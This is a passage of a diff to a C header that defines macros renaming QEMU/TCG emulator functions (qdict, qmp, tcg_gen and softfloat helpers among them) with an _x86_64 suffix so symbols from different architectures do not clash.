pmxevtyper_write_x86_64 +#define print_type_bool print_type_bool_x86_64 +#define print_type_int print_type_int_x86_64 +#define print_type_number print_type_number_x86_64 +#define print_type_size print_type_size_x86_64 +#define print_type_str print_type_str_x86_64 +#define propagateFloat128NaN propagateFloat128NaN_x86_64 +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_x86_64 +#define propagateFloat32NaN propagateFloat32NaN_x86_64 +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_x86_64 +#define propagateFloat64NaN propagateFloat64NaN_x86_64 +#define propagateFloatx80NaN propagateFloatx80NaN_x86_64 +#define property_get_alias property_get_alias_x86_64 +#define property_get_bool property_get_bool_x86_64 +#define property_get_str property_get_str_x86_64 +#define property_get_uint16_ptr property_get_uint16_ptr_x86_64 +#define property_get_uint32_ptr property_get_uint32_ptr_x86_64 +#define property_get_uint64_ptr property_get_uint64_ptr_x86_64 +#define property_get_uint8_ptr property_get_uint8_ptr_x86_64 +#define property_release_alias property_release_alias_x86_64 +#define property_release_bool property_release_bool_x86_64 +#define property_release_str property_release_str_x86_64 +#define property_resolve_alias property_resolve_alias_x86_64 +#define property_set_alias property_set_alias_x86_64 +#define property_set_bool property_set_bool_x86_64 +#define property_set_str property_set_str_x86_64 +#define pstate_read pstate_read_x86_64 +#define pstate_write pstate_write_x86_64 +#define pxa250_initfn pxa250_initfn_x86_64 +#define pxa255_initfn pxa255_initfn_x86_64 +#define pxa260_initfn pxa260_initfn_x86_64 +#define pxa261_initfn pxa261_initfn_x86_64 +#define pxa262_initfn pxa262_initfn_x86_64 +#define pxa270a0_initfn pxa270a0_initfn_x86_64 +#define pxa270a1_initfn pxa270a1_initfn_x86_64 +#define pxa270b0_initfn pxa270b0_initfn_x86_64 +#define pxa270b1_initfn pxa270b1_initfn_x86_64 +#define pxa270c0_initfn pxa270c0_initfn_x86_64 +#define pxa270c5_initfn pxa270c5_initfn_x86_64 +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_x86_64 +#define qapi_dealloc_end_list qapi_dealloc_end_list_x86_64 +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_x86_64 +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_x86_64 +#define qapi_dealloc_next_list qapi_dealloc_next_list_x86_64 +#define qapi_dealloc_pop qapi_dealloc_pop_x86_64 +#define qapi_dealloc_push qapi_dealloc_push_x86_64 +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_x86_64 +#define qapi_dealloc_start_list qapi_dealloc_start_list_x86_64 +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_x86_64 +#define qapi_dealloc_start_union qapi_dealloc_start_union_x86_64 +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_x86_64 +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_x86_64 +#define qapi_dealloc_type_int qapi_dealloc_type_int_x86_64 +#define qapi_dealloc_type_number qapi_dealloc_type_number_x86_64 +#define qapi_dealloc_type_size qapi_dealloc_type_size_x86_64 +#define qapi_dealloc_type_str qapi_dealloc_type_str_x86_64 +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_x86_64 +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_x86_64 +#define qapi_free_boolList qapi_free_boolList_x86_64 +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_x86_64 +#define qapi_free_int16List qapi_free_int16List_x86_64 +#define qapi_free_int32List qapi_free_int32List_x86_64 +#define qapi_free_int64List qapi_free_int64List_x86_64 +#define qapi_free_int8List qapi_free_int8List_x86_64 +#define qapi_free_intList qapi_free_intList_x86_64 +#define qapi_free_numberList qapi_free_numberList_x86_64 +#define qapi_free_strList qapi_free_strList_x86_64 +#define qapi_free_uint16List qapi_free_uint16List_x86_64 +#define qapi_free_uint32List qapi_free_uint32List_x86_64 +#define qapi_free_uint64List qapi_free_uint64List_x86_64 +#define qapi_free_uint8List qapi_free_uint8List_x86_64 +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_x86_64 +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_x86_64 +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_x86_64 +#define qbool_destroy_obj qbool_destroy_obj_x86_64 +#define qbool_from_int qbool_from_int_x86_64 +#define qbool_get_int qbool_get_int_x86_64 +#define qbool_type qbool_type_x86_64 +#define qbus_create qbus_create_x86_64 +#define qbus_create_inplace qbus_create_inplace_x86_64 +#define qbus_finalize qbus_finalize_x86_64 +#define qbus_initfn qbus_initfn_x86_64 +#define qbus_realize qbus_realize_x86_64 +#define qdev_create qdev_create_x86_64 +#define qdev_get_type qdev_get_type_x86_64 +#define qdev_register_types qdev_register_types_x86_64 +#define qdev_set_parent_bus qdev_set_parent_bus_x86_64 +#define qdev_try_create qdev_try_create_x86_64 +#define qdict_add_key qdict_add_key_x86_64 +#define qdict_array_split qdict_array_split_x86_64 +#define qdict_clone_shallow qdict_clone_shallow_x86_64 +#define qdict_del qdict_del_x86_64 +#define qdict_destroy_obj qdict_destroy_obj_x86_64 +#define qdict_entry_key qdict_entry_key_x86_64 +#define qdict_entry_value qdict_entry_value_x86_64 +#define qdict_extract_subqdict qdict_extract_subqdict_x86_64 +#define qdict_find qdict_find_x86_64 +#define qdict_first qdict_first_x86_64 +#define qdict_flatten qdict_flatten_x86_64 +#define qdict_flatten_qdict qdict_flatten_qdict_x86_64 +#define qdict_flatten_qlist qdict_flatten_qlist_x86_64 +#define qdict_get qdict_get_x86_64 +#define qdict_get_bool qdict_get_bool_x86_64 +#define qdict_get_double qdict_get_double_x86_64 +#define qdict_get_int qdict_get_int_x86_64 +#define qdict_get_obj qdict_get_obj_x86_64 +#define qdict_get_qdict qdict_get_qdict_x86_64 +#define qdict_get_qlist qdict_get_qlist_x86_64 +#define qdict_get_str qdict_get_str_x86_64 +#define qdict_get_try_bool qdict_get_try_bool_x86_64 +#define qdict_get_try_int qdict_get_try_int_x86_64 +#define qdict_get_try_str qdict_get_try_str_x86_64 +#define qdict_haskey qdict_haskey_x86_64 +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_x86_64 +#define qdict_iter qdict_iter_x86_64 +#define qdict_join qdict_join_x86_64 +#define qdict_new qdict_new_x86_64 +#define qdict_next qdict_next_x86_64 +#define qdict_next_entry qdict_next_entry_x86_64 +#define qdict_put_obj qdict_put_obj_x86_64 +#define qdict_size qdict_size_x86_64 +#define qdict_type qdict_type_x86_64 +#define qemu_clock_get_us qemu_clock_get_us_x86_64 +#define qemu_clock_ptr qemu_clock_ptr_x86_64 +#define qemu_clocks qemu_clocks_x86_64 +#define qemu_get_cpu qemu_get_cpu_x86_64 +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_x86_64 +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_x86_64 +#define qemu_get_ram_block qemu_get_ram_block_x86_64 +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_x86_64 +#define qemu_get_ram_fd qemu_get_ram_fd_x86_64 +#define qemu_get_ram_ptr qemu_get_ram_ptr_x86_64 +#define qemu_host_page_mask qemu_host_page_mask_x86_64 +#define qemu_host_page_size qemu_host_page_size_x86_64 +#define qemu_init_vcpu qemu_init_vcpu_x86_64 +#define qemu_ld_helpers qemu_ld_helpers_x86_64 +#define qemu_log_close qemu_log_close_x86_64 +#define qemu_log_enabled qemu_log_enabled_x86_64 +#define qemu_log_flush qemu_log_flush_x86_64 +#define qemu_loglevel_mask qemu_loglevel_mask_x86_64 +#define qemu_log_vprintf qemu_log_vprintf_x86_64 +#define qemu_oom_check qemu_oom_check_x86_64 +#define qemu_parse_fd qemu_parse_fd_x86_64 +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_x86_64 +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_x86_64 +#define qemu_ram_alloc qemu_ram_alloc_x86_64 +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_x86_64 +#define qemu_ram_foreach_block qemu_ram_foreach_block_x86_64 +#define qemu_ram_free qemu_ram_free_x86_64 +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_x86_64 +#define qemu_ram_ptr_length qemu_ram_ptr_length_x86_64 +#define qemu_ram_remap qemu_ram_remap_x86_64 +#define qemu_ram_setup_dump qemu_ram_setup_dump_x86_64 +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_x86_64 +#define qemu_real_host_page_size qemu_real_host_page_size_x86_64 +#define qemu_st_helpers qemu_st_helpers_x86_64 +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_x86_64 +#define qemu_try_memalign qemu_try_memalign_x86_64 +#define qentry_destroy qentry_destroy_x86_64 +#define qerror_human qerror_human_x86_64 +#define qerror_report qerror_report_x86_64 +#define qerror_report_err qerror_report_err_x86_64 +#define qfloat_destroy_obj qfloat_destroy_obj_x86_64 +#define qfloat_from_double qfloat_from_double_x86_64 +#define qfloat_get_double qfloat_get_double_x86_64 +#define qfloat_type qfloat_type_x86_64 +#define qint_destroy_obj qint_destroy_obj_x86_64 +#define qint_from_int qint_from_int_x86_64 +#define qint_get_int qint_get_int_x86_64 +#define qint_type qint_type_x86_64 +#define qlist_append_obj qlist_append_obj_x86_64 +#define qlist_copy qlist_copy_x86_64 +#define qlist_copy_elem qlist_copy_elem_x86_64 +#define qlist_destroy_obj qlist_destroy_obj_x86_64 +#define qlist_empty qlist_empty_x86_64 +#define qlist_entry_obj qlist_entry_obj_x86_64 +#define qlist_first qlist_first_x86_64 +#define qlist_iter qlist_iter_x86_64 +#define qlist_new qlist_new_x86_64 +#define qlist_next qlist_next_x86_64 +#define qlist_peek qlist_peek_x86_64 +#define qlist_pop qlist_pop_x86_64 +#define qlist_size qlist_size_x86_64 +#define qlist_size_iter qlist_size_iter_x86_64 +#define qlist_type qlist_type_x86_64 +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_x86_64 +#define qmp_input_end_list qmp_input_end_list_x86_64 +#define qmp_input_end_struct qmp_input_end_struct_x86_64 +#define qmp_input_get_next_type qmp_input_get_next_type_x86_64 +#define qmp_input_get_object qmp_input_get_object_x86_64 +#define qmp_input_get_visitor qmp_input_get_visitor_x86_64 +#define qmp_input_next_list qmp_input_next_list_x86_64 +#define qmp_input_optional qmp_input_optional_x86_64 +#define qmp_input_pop qmp_input_pop_x86_64 +#define qmp_input_push qmp_input_push_x86_64 +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_x86_64 +#define qmp_input_start_list qmp_input_start_list_x86_64 +#define qmp_input_start_struct qmp_input_start_struct_x86_64 +#define qmp_input_type_bool qmp_input_type_bool_x86_64 +#define qmp_input_type_int qmp_input_type_int_x86_64 +#define qmp_input_type_number qmp_input_type_number_x86_64 +#define qmp_input_type_str qmp_input_type_str_x86_64 +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_x86_64 +#define qmp_input_visitor_new qmp_input_visitor_new_x86_64 +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_x86_64 +#define qmp_output_add_obj qmp_output_add_obj_x86_64 +#define qmp_output_end_list qmp_output_end_list_x86_64 +#define qmp_output_end_struct qmp_output_end_struct_x86_64 +#define qmp_output_first qmp_output_first_x86_64 +#define qmp_output_get_qobject qmp_output_get_qobject_x86_64 +#define qmp_output_get_visitor qmp_output_get_visitor_x86_64 +#define qmp_output_last qmp_output_last_x86_64 +#define qmp_output_next_list qmp_output_next_list_x86_64 +#define qmp_output_pop qmp_output_pop_x86_64 +#define qmp_output_push_obj qmp_output_push_obj_x86_64 +#define qmp_output_start_list qmp_output_start_list_x86_64 +#define qmp_output_start_struct qmp_output_start_struct_x86_64 +#define qmp_output_type_bool qmp_output_type_bool_x86_64 +#define qmp_output_type_int qmp_output_type_int_x86_64 +#define qmp_output_type_number qmp_output_type_number_x86_64 +#define qmp_output_type_str qmp_output_type_str_x86_64 +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_x86_64 +#define qmp_output_visitor_new qmp_output_visitor_new_x86_64 +#define qobject_decref qobject_decref_x86_64 +#define qobject_to_qbool qobject_to_qbool_x86_64 +#define qobject_to_qdict qobject_to_qdict_x86_64 +#define qobject_to_qfloat qobject_to_qfloat_x86_64 +#define qobject_to_qint qobject_to_qint_x86_64 +#define qobject_to_qlist qobject_to_qlist_x86_64 +#define qobject_to_qstring qobject_to_qstring_x86_64 +#define qobject_type qobject_type_x86_64 +#define qstring_append qstring_append_x86_64 +#define qstring_append_chr qstring_append_chr_x86_64 +#define qstring_append_int qstring_append_int_x86_64 +#define qstring_destroy_obj qstring_destroy_obj_x86_64 +#define qstring_from_escaped_str qstring_from_escaped_str_x86_64 +#define qstring_from_str qstring_from_str_x86_64 +#define qstring_from_substr qstring_from_substr_x86_64 +#define qstring_get_length qstring_get_length_x86_64 +#define qstring_get_str qstring_get_str_x86_64 +#define qstring_new qstring_new_x86_64 +#define qstring_type qstring_type_x86_64 +#define ram_block_add ram_block_add_x86_64 +#define ram_size ram_size_x86_64 +#define range_compare range_compare_x86_64 +#define range_covers_byte range_covers_byte_x86_64 +#define range_get_last range_get_last_x86_64 +#define range_merge range_merge_x86_64 +#define ranges_can_merge ranges_can_merge_x86_64 +#define raw_read raw_read_x86_64 +#define raw_write raw_write_x86_64 +#define rcon rcon_x86_64 +#define read_raw_cp_reg read_raw_cp_reg_x86_64 +#define recip_estimate recip_estimate_x86_64 +#define recip_sqrt_estimate recip_sqrt_estimate_x86_64 +#define register_cp_regs_for_features register_cp_regs_for_features_x86_64 +#define register_multipage register_multipage_x86_64 +#define register_subpage register_subpage_x86_64 +#define register_tm_clones register_tm_clones_x86_64 +#define register_types_object register_types_object_x86_64 +#define regnames regnames_x86_64 +#define render_memory_region render_memory_region_x86_64 +#define reset_all_temps reset_all_temps_x86_64 +#define reset_temp reset_temp_x86_64 +#define rol32 rol32_x86_64 +#define rol64 rol64_x86_64 +#define ror32 ror32_x86_64 +#define ror64 ror64_x86_64 +#define roundAndPackFloat128 roundAndPackFloat128_x86_64 +#define roundAndPackFloat16 roundAndPackFloat16_x86_64 +#define roundAndPackFloat32 roundAndPackFloat32_x86_64 +#define roundAndPackFloat64 roundAndPackFloat64_x86_64 +#define roundAndPackFloatx80 roundAndPackFloatx80_x86_64 +#define roundAndPackInt32 roundAndPackInt32_x86_64 +#define roundAndPackInt64 roundAndPackInt64_x86_64 +#define roundAndPackUint64 roundAndPackUint64_x86_64 +#define round_to_inf round_to_inf_x86_64 +#define run_on_cpu run_on_cpu_x86_64 +#define s0 s0_x86_64 +#define S0 S0_x86_64 +#define s1 s1_x86_64 +#define S1 S1_x86_64 +#define sa1100_initfn sa1100_initfn_x86_64 +#define sa1110_initfn sa1110_initfn_x86_64 +#define save_globals save_globals_x86_64 +#define scr_write scr_write_x86_64 +#define sctlr_write sctlr_write_x86_64 +#define set_bit set_bit_x86_64 +#define set_bits set_bits_x86_64 +#define set_default_nan_mode set_default_nan_mode_x86_64 +#define set_feature set_feature_x86_64 +#define set_float_detect_tininess set_float_detect_tininess_x86_64 +#define set_float_exception_flags set_float_exception_flags_x86_64 +#define set_float_rounding_mode set_float_rounding_mode_x86_64 +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_x86_64 +#define set_flush_to_zero set_flush_to_zero_x86_64 +#define set_swi_errno set_swi_errno_x86_64 +#define sextract32 sextract32_x86_64 +#define sextract64 sextract64_x86_64 +#define shift128ExtraRightJamming shift128ExtraRightJamming_x86_64 +#define shift128Right shift128Right_x86_64 +#define shift128RightJamming shift128RightJamming_x86_64 +#define shift32RightJamming shift32RightJamming_x86_64 +#define shift64ExtraRightJamming shift64ExtraRightJamming_x86_64 +#define shift64RightJamming shift64RightJamming_x86_64 +#define shifter_out_im shifter_out_im_x86_64 +#define shortShift128Left shortShift128Left_x86_64 +#define shortShift192Left shortShift192Left_x86_64 +#define simple_mpu_ap_bits simple_mpu_ap_bits_x86_64 +#define size_code_gen_buffer size_code_gen_buffer_x86_64 +#define softmmu_lock_user softmmu_lock_user_x86_64 +#define softmmu_lock_user_string softmmu_lock_user_string_x86_64 +#define softmmu_tget32 softmmu_tget32_x86_64 +#define softmmu_tget8 softmmu_tget8_x86_64 +#define softmmu_tput32 softmmu_tput32_x86_64 +#define softmmu_unlock_user softmmu_unlock_user_x86_64 +#define sort_constraints sort_constraints_x86_64 +#define sp_el0_access sp_el0_access_x86_64 +#define spsel_read spsel_read_x86_64 +#define spsel_write spsel_write_x86_64 +#define start_list start_list_x86_64 +#define stb_p stb_p_x86_64 +#define stb_phys stb_phys_x86_64 +#define stl_be_p stl_be_p_x86_64 +#define stl_be_phys stl_be_phys_x86_64 +#define stl_he_p stl_he_p_x86_64 +#define stl_le_p stl_le_p_x86_64 +#define stl_le_phys stl_le_phys_x86_64 +#define stl_phys stl_phys_x86_64 +#define stl_phys_internal stl_phys_internal_x86_64 +#define stl_phys_notdirty stl_phys_notdirty_x86_64 +#define store_cpu_offset store_cpu_offset_x86_64 +#define store_reg store_reg_x86_64 +#define store_reg_bx store_reg_bx_x86_64 +#define store_reg_from_load store_reg_from_load_x86_64 +#define stq_be_p stq_be_p_x86_64 +#define stq_be_phys stq_be_phys_x86_64 +#define stq_he_p stq_he_p_x86_64 +#define stq_le_p stq_le_p_x86_64 +#define stq_le_phys stq_le_phys_x86_64 +#define stq_phys stq_phys_x86_64 +#define string_input_get_visitor string_input_get_visitor_x86_64 +#define string_input_visitor_cleanup string_input_visitor_cleanup_x86_64 +#define string_input_visitor_new string_input_visitor_new_x86_64 +#define strongarm_cp_reginfo strongarm_cp_reginfo_x86_64 +#define strstart strstart_x86_64 +#define strtosz strtosz_x86_64 +#define strtosz_suffix strtosz_suffix_x86_64 +#define stw_be_p stw_be_p_x86_64 +#define stw_be_phys stw_be_phys_x86_64 +#define stw_he_p stw_he_p_x86_64 +#define stw_le_p stw_le_p_x86_64 +#define stw_le_phys stw_le_phys_x86_64 +#define stw_phys stw_phys_x86_64 +#define stw_phys_internal stw_phys_internal_x86_64 +#define sub128 sub128_x86_64 +#define sub16_sat sub16_sat_x86_64 +#define sub16_usat sub16_usat_x86_64 +#define sub192 sub192_x86_64 +#define sub8_sat sub8_sat_x86_64 +#define sub8_usat sub8_usat_x86_64 +#define subFloat128Sigs subFloat128Sigs_x86_64 +#define subFloat32Sigs subFloat32Sigs_x86_64 +#define subFloat64Sigs subFloat64Sigs_x86_64 +#define subFloatx80Sigs subFloatx80Sigs_x86_64 +#define subpage_accepts subpage_accepts_x86_64 +#define subpage_init subpage_init_x86_64 +#define subpage_ops subpage_ops_x86_64 +#define subpage_read subpage_read_x86_64 +#define subpage_register subpage_register_x86_64 +#define subpage_write subpage_write_x86_64 +#define suffix_mul suffix_mul_x86_64 +#define swap_commutative swap_commutative_x86_64 +#define swap_commutative2 swap_commutative2_x86_64 +#define switch_mode switch_mode_x86_64 +#define switch_v7m_sp switch_v7m_sp_x86_64 +#define syn_aa32_bkpt syn_aa32_bkpt_x86_64 +#define syn_aa32_hvc syn_aa32_hvc_x86_64 +#define syn_aa32_smc syn_aa32_smc_x86_64 +#define syn_aa32_svc syn_aa32_svc_x86_64 +#define syn_breakpoint syn_breakpoint_x86_64 +#define sync_globals sync_globals_x86_64 +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_x86_64 +#define syn_cp14_rt_trap syn_cp14_rt_trap_x86_64 +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_x86_64 +#define syn_cp15_rt_trap syn_cp15_rt_trap_x86_64 +#define syn_data_abort syn_data_abort_x86_64 +#define syn_fp_access_trap syn_fp_access_trap_x86_64 +#define syn_insn_abort syn_insn_abort_x86_64 +#define syn_swstep syn_swstep_x86_64 +#define syn_uncategorized syn_uncategorized_x86_64 +#define syn_watchpoint syn_watchpoint_x86_64 +#define syscall_err syscall_err_x86_64 +#define system_bus_class_init system_bus_class_init_x86_64 +#define system_bus_info system_bus_info_x86_64 +#define t2ee_cp_reginfo t2ee_cp_reginfo_x86_64 +#define table_logic_cc table_logic_cc_x86_64 +#define target_parse_constraint target_parse_constraint_x86_64 +#define target_words_bigendian target_words_bigendian_x86_64 +#define tb_add_jump tb_add_jump_x86_64 +#define tb_alloc tb_alloc_x86_64 +#define tb_alloc_page tb_alloc_page_x86_64 +#define tb_check_watchpoint tb_check_watchpoint_x86_64 +#define tb_find_fast tb_find_fast_x86_64 +#define tb_find_pc tb_find_pc_x86_64 +#define tb_find_slow tb_find_slow_x86_64 +#define tb_flush tb_flush_x86_64 +#define tb_flush_jmp_cache tb_flush_jmp_cache_x86_64 +#define tb_free tb_free_x86_64 +#define tb_gen_code tb_gen_code_x86_64 +#define tb_hash_remove tb_hash_remove_x86_64 +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_x86_64 +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_x86_64 +#define tb_invalidate_phys_range tb_invalidate_phys_range_x86_64 +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_x86_64 +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_x86_64 +#define tb_jmp_remove tb_jmp_remove_x86_64 +#define tb_link_page tb_link_page_x86_64 +#define tb_page_remove tb_page_remove_x86_64 +#define tb_phys_hash_func tb_phys_hash_func_x86_64 +#define tb_phys_invalidate tb_phys_invalidate_x86_64 +#define tb_reset_jump tb_reset_jump_x86_64 +#define tb_set_jmp_target tb_set_jmp_target_x86_64 +#define tcg_accel_class_init tcg_accel_class_init_x86_64 +#define tcg_accel_type tcg_accel_type_x86_64 +#define tcg_add_param_i32 tcg_add_param_i32_x86_64 +#define tcg_add_param_i64 tcg_add_param_i64_x86_64 +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_x86_64 +#define tcg_allowed tcg_allowed_x86_64 +#define tcg_canonicalize_memop tcg_canonicalize_memop_x86_64 +#define tcg_commit tcg_commit_x86_64 +#define tcg_cond_to_jcc tcg_cond_to_jcc_x86_64 +#define tcg_constant_folding tcg_constant_folding_x86_64 +#define tcg_const_i32 tcg_const_i32_x86_64 +#define tcg_const_i64 tcg_const_i64_x86_64 +#define tcg_const_local_i32 tcg_const_local_i32_x86_64 +#define tcg_const_local_i64 tcg_const_local_i64_x86_64 +#define tcg_context_init tcg_context_init_x86_64 +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_x86_64 +#define tcg_cpu_exec tcg_cpu_exec_x86_64 +#define tcg_current_code_size tcg_current_code_size_x86_64 +#define tcg_dump_info tcg_dump_info_x86_64 +#define tcg_dump_ops tcg_dump_ops_x86_64 +#define tcg_exec_all tcg_exec_all_x86_64 +#define tcg_find_helper tcg_find_helper_x86_64 +#define tcg_func_start tcg_func_start_x86_64 +#define tcg_gen_abs_i32 tcg_gen_abs_i32_x86_64 +#define tcg_gen_add2_i32 tcg_gen_add2_i32_x86_64 +#define tcg_gen_add_i32 tcg_gen_add_i32_x86_64 +#define tcg_gen_add_i64 tcg_gen_add_i64_x86_64 +#define tcg_gen_addi_i32 tcg_gen_addi_i32_x86_64 +#define tcg_gen_addi_i64 tcg_gen_addi_i64_x86_64 +#define tcg_gen_andc_i32 tcg_gen_andc_i32_x86_64 +#define tcg_gen_and_i32 tcg_gen_and_i32_x86_64 +#define tcg_gen_and_i64 tcg_gen_and_i64_x86_64 +#define tcg_gen_andi_i32 tcg_gen_andi_i32_x86_64 +#define tcg_gen_andi_i64 tcg_gen_andi_i64_x86_64 +#define tcg_gen_br tcg_gen_br_x86_64 +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_x86_64 +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_x86_64 +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_x86_64 +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_x86_64 +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_x86_64 +#define tcg_gen_callN tcg_gen_callN_x86_64 +#define tcg_gen_code tcg_gen_code_x86_64 +#define tcg_gen_code_common tcg_gen_code_common_x86_64 +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_x86_64 +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_x86_64 +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_x86_64 +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_x86_64 +#define tcg_gen_exit_tb tcg_gen_exit_tb_x86_64 +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_x86_64 +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_x86_64 +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_x86_64 +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_x86_64 +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_x86_64 +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_x86_64 +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_x86_64 +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_x86_64 +#define tcg_gen_goto_tb tcg_gen_goto_tb_x86_64 +#define tcg_gen_ld_i32 tcg_gen_ld_i32_x86_64 +#define tcg_gen_ld_i64 tcg_gen_ld_i64_x86_64 +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_x86_64 +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_x86_64 +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_x86_64 +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_x86_64 +#define tcg_gen_mov_i32 tcg_gen_mov_i32_x86_64 +#define tcg_gen_mov_i64 tcg_gen_mov_i64_x86_64 +#define tcg_gen_movi_i32 tcg_gen_movi_i32_x86_64 +#define tcg_gen_movi_i64 tcg_gen_movi_i64_x86_64 +#define tcg_gen_mul_i32 tcg_gen_mul_i32_x86_64 +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_x86_64 +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_x86_64 +#define tcg_gen_neg_i32 tcg_gen_neg_i32_x86_64 +#define tcg_gen_neg_i64 tcg_gen_neg_i64_x86_64 +#define tcg_gen_not_i32 tcg_gen_not_i32_x86_64 +#define tcg_gen_op0 tcg_gen_op0_x86_64 +#define tcg_gen_op1i tcg_gen_op1i_x86_64 +#define tcg_gen_op2_i32 tcg_gen_op2_i32_x86_64 +#define tcg_gen_op2_i64 tcg_gen_op2_i64_x86_64 +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_x86_64 +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_x86_64 +#define tcg_gen_op3_i32 tcg_gen_op3_i32_x86_64 +#define tcg_gen_op3_i64 tcg_gen_op3_i64_x86_64 +#define tcg_gen_op4_i32 tcg_gen_op4_i32_x86_64 +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_x86_64 +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_x86_64 +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_x86_64 +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_x86_64 +#define tcg_gen_op6_i32 tcg_gen_op6_i32_x86_64 +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_x86_64 +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_x86_64 +#define tcg_gen_orc_i32 tcg_gen_orc_i32_x86_64 +#define tcg_gen_or_i32 tcg_gen_or_i32_x86_64 +#define tcg_gen_or_i64 tcg_gen_or_i64_x86_64 +#define tcg_gen_ori_i32 tcg_gen_ori_i32_x86_64 +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_x86_64 +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_x86_64 +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_x86_64 +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_x86_64 +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_x86_64 +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_x86_64 +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_x86_64 +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_x86_64 +#define tcg_gen_sar_i32 tcg_gen_sar_i32_x86_64 +#define tcg_gen_sari_i32 tcg_gen_sari_i32_x86_64 +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_x86_64 +#define tcg_gen_shl_i32 tcg_gen_shl_i32_x86_64 +#define tcg_gen_shl_i64 tcg_gen_shl_i64_x86_64 +#define tcg_gen_shli_i32 tcg_gen_shli_i32_x86_64 +#define tcg_gen_shli_i64 tcg_gen_shli_i64_x86_64 +#define tcg_gen_shr_i32 tcg_gen_shr_i32_x86_64 +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_x86_64 +#define tcg_gen_shr_i64 tcg_gen_shr_i64_x86_64 +#define tcg_gen_shri_i32 tcg_gen_shri_i32_x86_64 +#define tcg_gen_shri_i64 tcg_gen_shri_i64_x86_64 +#define tcg_gen_st_i32 tcg_gen_st_i32_x86_64 +#define tcg_gen_st_i64 tcg_gen_st_i64_x86_64 +#define tcg_gen_sub_i32 tcg_gen_sub_i32_x86_64 +#define tcg_gen_sub_i64 tcg_gen_sub_i64_x86_64 +#define tcg_gen_subi_i32 tcg_gen_subi_i32_x86_64 +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_x86_64 +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_x86_64 +#define tcg_gen_xor_i32 tcg_gen_xor_i32_x86_64 +#define tcg_gen_xor_i64 tcg_gen_xor_i64_x86_64 +#define tcg_gen_xori_i32 